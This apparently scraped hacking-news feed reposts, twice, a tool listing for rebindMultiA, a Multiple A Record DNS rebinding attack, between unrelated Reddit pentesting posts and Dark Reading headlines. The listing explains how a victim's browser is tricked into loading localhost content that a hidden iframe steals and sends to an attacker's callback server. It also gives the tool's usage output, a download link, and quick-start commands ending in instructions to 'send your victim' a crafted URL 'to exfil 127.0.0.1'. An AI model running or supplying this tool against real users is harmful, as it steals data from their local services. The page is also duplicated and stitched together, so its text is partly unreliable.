Hacking Articles Tips Tricks Videos Tutorials

rebindMultiA is a tool to perform a Multiple A Record rebind attack. rebindmultia.com is a domain that I've set up to assist with these attacks. It makes every IP its own authoritative nameserver (https://www.kitploit.com/search/label/Nameserver) for the domain [IP].ns.rebindmultia.com. For example, 13.33.33.37.ns.rebindmultia.com's authoritative nameserver is 13.33.33.37.ip.rebindmultia.com which resolves (as you might have guessed) to 13.33.33.37.
Multiple A Record Rebind Attack The MultiA Record Rebind attack is a variant of DNS Rebinding that weaponizes an attacker's ability to respond with two IP address in response to a DNS request and the browser's tendency to fallback to the second IP in the DNS response when the first one doesn't respond. In this attack, the attacker will configure a malicious DNS server and two malicious HTTP servers. The DNS server will respond with two A records: 127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 13.33.33.37
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 127.0.0.1
The victim browser will then connect to the first IP and begin interacting with the attacker's first malicious HTTP server. This server will respond with a page that contains two iframes, one to /steal and one to /rebind. The /steal iframe will load up a malicious page to reach into the second iframe and grab the content. The /rebind endpoint, when hit, will issue a 302 redirect to / and kill the first malicious HTTP server. As a result, when the browser reaches back out to the attacker's HTTP server, it will be met with a closed port. As such, it will fallback to the second IP. Once the target content has been loaded in the second iframe, the first iframe can reach into it, steal the data, and exfiltrate it to the attacker's second malicious HTTP server - the callback server. This attack only works in a Windows (https://www.kitploit.com/search/label/Windows) environment. Linux (https://www.kitploit.com/search/label/Linux) and Mac will default to the private IP first and the attacker's server will never be queried. Graphic + Explaination

5 views12:44

5 views12:44

Hacking Articles Tips Tricks Videos Tutorials

The browser resolves the host 127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. The DNS server (included in server.py) parses the requested dns name and returns two A records: 13.33.33.37 and 127.0.0.1. The victim's browser reaches out the attacker's malicious HTTP server (included in server.py) and loads the /parent page which has two iframes. The victim's browser loads /steal from the attacker's malicious HTTP server. The victim's browser loads /rebind which results in a 302 redirect to / (the HTTP server will exit after this request). The victim's browser redirect's to / per the 302 from the attacker's server. The victim's browser attempts to load / from the attacker's (now dead) HTTP server, but fails to do so. The browser then shifts to the second IP in the DNS cache and resolves the hostname to 127.0.0.1. It then reaches out to that server and loads up the page in the iframe. The attacker's steal iframe reaches into the newly loaded second iframe and grabs the content. The attacker's steal iframe then sends the results back to the attacker's callback server. Usage pip3 install -r requirements.txt
python3 server.py --help
usage: server.py [-h] [-p PORT] [-c CALLBACK_PORT] [-d DNS_PORT] [-f FILE] [-l LOCATION]

optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Specify port to attack on targetIp. Default: 80
-c CALLBACK_PORT, --callback-port CALLBACK_PORT
Specify the callback HTTP server port. Default: 31337
-d DNS_PORT, --dns-port DNS_PORT
Specify the DNS server port. Default: 53
-f FILE, --file FILE Specify the HTML file to display in the first iframe.(The "steal" iframe). Default: steal.html
-l LOCATION, --location LOCATION
Specify the location of the data you'd like to steal on the target. Default: /
If you get this error: ┬─[justin@RhynoDroplet:~/p/rebindMultiA]─[14:26:24]─[G:master=]
╰─>$ python3 server.py

Traceback (most recent call last):
File "server.py", line 2, in
from http.server import HTTPServer, BaseHTTPRequestHandler, ThreadingHTTPServer
ImportError: cannot import name 'ThreadingHTTPServer'
Then you need to use a more up-to-date (https://www.kitploit.com/search/label/Up-to-date) version of Python. Python 3.7+. Quick Start This must be executed from publically accessible IP. git clone https://github.com/Rhynorater/rebindMultiA
cd rebindMutliA
pip3 install -r requirements.txt
echo "Send your victim to http://127.0.0.1.target.`curl -s http://ipinfo.io/ip`.ns.rebindmultia.com/parent to exfil 127.0.0.1"
sudo python3 server.py

Download rebindMultiA (https://github.com/Rhynorater/rebindMultiA)

6 views12:44

Hacking Articles Tips Tricks Videos Tutorials

4 views13:48

Hacking Articles Tips Tricks Videos Tutorials

Photo

KitPloit - PenTest Tools!
rebindMultiA - Tool To Perform a Multiple A Record Rebind Attack

https://blogger.googleusercontent.com/img/a/AVvXsEgJ7psudS9vxKSRrIOFqYXlKBQT7zbhNdUdoZyP0Ljp7-PEAr9fuhUZ_my13Hw79lY-OJkoQuRCy1k1kXKK-RK85zPp0xjSvsJC2oJl64nsESxSCf9lw8TJY0v9m6vdQQgqP9KOMM16Td3GBlJTAW6Y1oXIiMi3X5UJggiCIfQw5iP72XoerGMNT0m7ww=w640-h480 rebindMultiAis a tool to perform a Multiple A Record rebind attack. rebindmultia.comis a domain that I've set up to assist with these attacks. It makes every IP its own authoritative nameserver for the domain [IP].ns.rebindmultia.com. For example, 13.33.33.37.ns.rebindmultia.com's authoritative nameserver is 13.33.33.37.ip.rebindmultia.comwhich resolves (as you might have guessed) to 13.33.33.37. Multiple A Record Rebind AttackThe MultiA Record Rebind attack is a variant of DNS Rebinding that weaponizes an attacker's ability to respond with two IP address in response to a DNS request and the browser's tendency to fallback to the second IP in the DNS response when the first one doesn't respond. In this attack, the attacker will configure a malicious DNS server and two malicious HTTP servers. The DNS server will respond with two A records:

127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 13.33.33.37
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 127.0.0.1

The victim browser will then connect to the first IP and begin interacting with the attacker's first malicious HTTP server. This server will respond with a page that contains two iframes, one to /stealand one to /rebind. The /stealiframe will load up a malicious page to reach into the second iframe and grab the content. The /rebindendpoint, when hit, will issue a 302 redirect to /and kill the first malicious HTTP server. As a result, when the browser reaches back out to the attacker's HTTP server, it will be met with a closed port. As such, it will fallback to the second IP. Once the target content has been loaded in the second iframe, the first iframe can reach into it, steal the data, and exfiltrate it to the attacker's second malicious HTTP server - the callback server.

This attack only works in a Windows environment. Linux and Mac will default to the private IP first and the attacker's server will never be queried. Graphic + Explainationhttps://blogger.googleusercontent.com/img/a/AVvXsEgJ7psudS9vxKSRrIOFqYXlKBQT7zbhNdUdoZyP0Ljp7-PEAr9fuhUZ_my13Hw79lY-OJkoQuRCy1k1kXKK-RK85zPp0xjSvsJC2oJl64nsESxSCf9lw8TJY0v9m6vdQQgqP9KOMM16Td3GBlJTAW6Y1oXIiMi3X5UJggiCIfQw5iP72XoerGMNT0m7ww=w640-h480 1. The browser resolves the host 127.0.0.1.target.13.33.33.37.ns.rebindmultia.com.
2. The DNS server (included in server.py) parses the requested dns name and returns two A records: 13.33.33.37and 127.0.0.1.
3. The victim's browser reaches out the attacker's malicious HTTP server (included in server.py) and loads the /parentpage which has two iframes.
4. The victim's browser loads /stealfrom the attacker's malicious HTTP server.
5. The victim's browser loads /rebindwhich results in a 302 redirect to /(the HTTP server will exit after this request).
6. The victim's browser redirect's to /per the 302from the attacker's server.
7. The victim's browser attempts to load /from the attacker's (now dead) HTTP server, but fails to do so.
8. The browser then shifts to the second IP in the DNS cache and resolves the hostname to 127.0.0.1. It then reaches out to that server and loads up the page in the iframe.
9. The attacker's stealiframe reaches into the newly loaded second iframe and grabs the content.
10. The attacker's stealiframe the[...]

8 views13:48

Hacking Articles Tips Tricks Videos Tutorials

KitPloit - PenTest Tools! rebindMultiA - Tool To Perform a Multiple A Record Rebind Attack https://blogger.googleusercontent.com/img/a/AVvXsEgJ7psudS9vxKSRrIOFqYXlKBQT7zbhNdUdoZyP0Ljp7-PEAr9fuhUZ_my13Hw79lY-OJkoQuRCy1k1kXKK-RK85zPp0xjSvsJC2oJl64nsESxSCf9…

n sends the results back to the attacker's callback server. Usage

pip3 install -r requirements.txt
python3 server.py --help

usage: server.py [-h] [-p PORT] [-c CALLBACK_PORT] [-d DNS_PORT] [-f FILE] [-l LOCATION]

optional arguments:
-h, --help            show this help message and exit
-p PORT, --port PORT  Specify port to attack on targetIp. Default: 80
-c CALLBACK_PORT, --callback-port CALLBACK_PORT
Specify the callback HTTP server port. Default: 31337
-d DNS_PORT, --dns-port DNS_PORT
Specify the DNS server port. Default: 53
-f FILE, --file FILE  Specify the HTML file to display in the first iframe.(The "steal" iframe). Default: steal.html
-l LOCATION, --location LOCATION
Specify the location of the data you'd like to steal on the target. Default: /

If you get this error:

┬─[justin@RhynoDroplet:~/p/rebindMultiA]─[14:26:24]─[G:master=]
╰─>$ python3 server.py

Traceback (most recent call last):
File "server.py", line 2, in <module
from http.server import HTTPServer, BaseHTTPRequestHandler, ThreadingHTTPServer
ImportError: cannot import name 'ThreadingHTTPServer'

Then you need to use a more up-to-date version of Python. Python 3.7+. Quick StartThis must be executed from publically accessible IP.

git clone https://github.com/Rhynorater/rebindMultiA
cd rebindMutliA
pip3 install -r requirements.txt
echo "Send your victim to http://127.0.0.1.target.`curl -s http://ipinfo.io/ip`.ns.rebindmultia.com/parent to exfil 127.0.0.1"
sudo python3 server.py

Download rebindMultiA

13 views13:48

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Ryan Montgomery?

Saw some podcast with a “hacker” who called himself #1 ethical hacker in the world, tracking down pedos with project veritas. He talks about general and broad hacking stuff, and he owns security software, and a site where you test your hacking skills. He seems life a complete grift scammer to me, but millions of people are worshiping this pedo hunter.

Can anyone here chime in on this guy?

submitted by /u/Phil_Fart_MD
[link] [comments]

From the hacking community on Reddit

Explore this post and more from the hacking community

11 views14:32

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Dangerous Regions: Isolating Branch Offices in High-Risk Countries

Organizations must be cautious about how they interact with other regions around the world in order to operate safely in an at-times adversarial landscape.

10 views14:33

Source

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
CISO Criminalization, Vague Cyber Disclosure Rules Create Angst for Security Teams

in the wake of the ex-Uber CISO verdict, CISOs ask for clearer rules and less uncertainty in managing disclosures, amid jail-time fears.

10 views14:33

Source

Hacking Articles Tips Tricks Videos Tutorials

A Pentester's Guide to Source Code Review
https://www.reddit.com/r/Pentesting/comments/13rk6xq/a_pentesters_guide_to_source_code_review/

https://www.cobalt.io/blog/a-pentesters-guide-to-source-code-review  submitted by /u/cobalt-core-team (https://www.reddit.com/user/cobalt-core-team)
[link] (https://www.reddit.com/r/Pentesting/comments/13rk6xq/a_pentesters_guide_to_source_code_review/) [comments] (https://www.reddit.com/r/Pentesting/comments/13rk6xq/a_pentesters_guide_to_source_code_review/)

7 views15:38

Hacking Articles Tips Tricks Videos Tutorials

CORS Misconfiguration
https://www.reddit.com/r/Pentesting/comments/13rj4ni/cors_misconfiguration/

Hi everyone, junior pentester here, wanted some idea regarding CORS. I have detected and open CORS policy on one of our applications, however a developer said we are not vulnerable since we are using Auth Tokens for authentication and not using cookies/etc/. Is this true?  submitted by /u/UnLiQuery20 (https://www.reddit.com/user/UnLiQuery20)
[link] (https://www.reddit.com/r/Pentesting/comments/13rj4ni/cors_misconfiguration/) [comments] (https://www.reddit.com/r/Pentesting/comments/13rj4ni/cors_misconfiguration/)

6 views15:42

Hacking Articles Tips Tricks Videos Tutorials

php version checking
https://www.reddit.com/r/Pentesting/comments/13rkar7/php_version_checking/

im being tested at work and being asked to check php version info for an external site via nmap. i usually have done this with server access or external tools like nessus but this is all new to me. ive tried using the php version script in nmap but its not coming back with that info, google is not being any help. can someone give me the string that would do this. if i can get this figured out im sure i can adapt better at using this in the future. ty  submitted by /u/H8eater (https://www.reddit.com/user/H8eater)
[link] (https://www.reddit.com/r/Pentesting/comments/13rkar7/php_version_checking/) [comments] (https://www.reddit.com/r/Pentesting/comments/13rkar7/php_version_checking/)

5 views16:27

About

Blog

Apps

Platform